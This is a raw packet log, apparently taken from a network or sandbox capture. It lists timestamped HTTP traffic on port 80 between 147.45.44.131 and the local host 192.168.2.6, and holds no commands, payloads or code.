Sep 25, 2024 14:49:33.373202085 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.373214960 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.373291969 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.374555111 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.374567986 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.374618053 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.376425028 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.376436949 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.376468897 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.379041910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.379055023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.379066944 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.379093885 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.379118919 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.380935907 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.380949020 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.381004095 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.383462906 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.383476019 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.383521080 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.385318041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.385330915 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.385377884 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.386137962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.386152029 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.386163950 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.386198044 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.387451887 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.387465000 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.387497902 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.388340950 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.388353109 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.388389111 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.389089108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.389101982 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.389147043 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.389672041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.389684916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.389729977 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.390079021 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.390091896 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.390109062 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.390130997 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.390152931 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.391041040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.391053915 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.391093969 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.391958952 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.391973019 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.392011881 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.392839909 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.392853975 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.392908096 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.393758059 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.393770933 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.393781900 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.393819094 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.395000935 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.395014048 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.395059109 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.396135092 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.396147013 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.396182060 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.397416115 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.397428989 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.397465944 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.398893118 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.398905993 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.398941994 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.400121927 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.400135040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.400146008 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.400171995 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.400190115 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.401549101 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.401561975 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.401608944 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.402456999 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.402470112 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.402509928 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.403673887 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.428661108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.428767920 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.428967953 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.428982019 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.429028034 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.429855108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.429867029 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.429908037 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.430915117 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.430928946 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.430991888 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.431835890 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.431850910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.431860924 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.431888103 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.433267117 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.433279991 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.433290005 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.433315992 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.433342934 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.434551001 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.434564114 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.434608936 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.435336113 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.435348988 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.435390949 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.436872959 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.436886072 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.436897039 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.436928034 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.438437939 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.438451052 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.438493967 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.439557076 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.439568996 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.439603090 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.441082001 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.441093922 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.441104889 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.441133022 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.441150904 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.442001104 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.442013025 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.442051888 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.443219900 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.443232059 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.443272114 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.444462061 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.444473982 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.444511890 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.445569038 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.445581913 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.445591927 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.445619106 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.446306944 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.446319103 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.446356058 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.447592020 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.447602987 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.447640896 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.448736906 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.448749065 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.448782921 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.449819088 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.449830055 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.449872017 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.450673103 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.450685024 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.450695038 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.450719118 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.450735092 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.451637983 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.451649904 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.451694012 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.452506065 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.452517986 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.452557087 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.453360081 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.453372002 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.453421116 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.454755068 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.454766035 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.454773903 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.454806089 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.456365108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.456376076 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.456410885 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.457007885 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.457017899 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.457050085 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.458281040 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.458291054 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.458316088 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.458904028 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.458915949 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.458949089 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.460345030 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.460355997 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.460366011 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.460387945 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.460408926 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.460788965 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.460799932 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.460832119 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.462233067 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.462244987 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.462282896 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.462702990 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.462713957 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.462748051 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.463558912 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.463572025 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.463582039 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.463613987 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.464041948 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.464052916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.464088917 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.464839935 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.464850903 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.464884043 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.465658903 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.465671062 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.465706110 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.466536999 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.466548920 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.466588020 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.467040062 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.467051983 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.467062950 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.467097044 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.467097044 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.468051910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.468065023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.468105078 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.468986034 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.468997955 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.469033957 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.470056057 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.470067978 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.470127106 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.471158028 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.471168041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.471178055 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.471201897 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.472129107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.472140074 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.472179890 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.473191023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.473206997 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.473232031 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.474397898 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.474409103 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.474443913 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.475311995 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.475323915 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.475362062 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.477348089 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.477360010 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.477370977 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.477396965 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.477416992 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.477999926 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.478012085 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.478055954 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.532871008 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.533140898 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.533154011 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.533232927 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.533726931 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.533739090 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.533782959 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.535211086 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.535221100 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.535252094 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.536323071 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.536334038 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.536343098 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.536365986 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.536395073 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.537154913 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.537167072 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.537201881 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.537981033 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.537992001 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.538033009 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.538983107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.538999081 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.539009094 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.539052010 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.539459944 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.539473057 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.539513111 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.540211916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.540225029 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.540275097 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.540697098 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.540709019 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.540746927 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.541955948 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.541969061 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.541979074 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.542005062 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.542021036 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.542691946 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.542702913 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.542737961 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.543486118 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.543497086 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.543529034 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.544064045 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.544075012 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.544085026 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.544111967 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.544971943 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.544982910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.545018911 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.546070099 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.546082973 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.546092987 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.546118021 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.546135902 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.548011065 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.548022985 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.548063040 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.549856901 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.549868107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.549909115 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.551594019 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.551605940 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.551639080 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.552359104 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.552371979 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.552469015 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.553210020 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.553221941 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.553231955 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.553256035 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.554341078 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.554357052 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.554389954 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.555280924 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.555293083 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.555329084 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.556094885 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.556106091 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.556159019 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.556868076 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.556878090 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.556888103 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.556915045 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.556931973 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.557800055 CEST	80	49711	147.45.44.131	192.168.2.6
